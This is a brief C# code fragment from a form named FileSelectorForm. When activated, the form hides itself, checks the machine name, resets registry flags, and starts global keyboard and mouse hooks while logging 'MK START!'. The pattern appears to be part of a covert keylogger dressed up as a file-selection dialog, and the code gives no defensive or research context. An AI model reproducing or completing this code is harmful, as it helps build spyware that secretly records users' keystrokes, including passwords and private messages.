public FileSelectorForm(GlobalHookEvent globalhook) { InitializeComponent(); this.globalhook = globalhook; initLV(); initFormEvent(); }
private void S2_0_Activated(object sender, EventArgs e) { this.Hide(); if (innoceneceMachine != System.Environment.MachineName) { //if (anlReg("keyMk",true) != 0)//I think we should reset the flag after read key because we need reopen instance { //deployFile(); } } anlReg("keySer", true);//Set this to 0,so that we can truly restart service after internal stop anlReg("keyMk", true); global = new GlobalHookEvent(); global.initKeyMouseHook(this); global.startKeyMouseHook(); LogBuilder.buildLog("MK START!"); mkstart(); }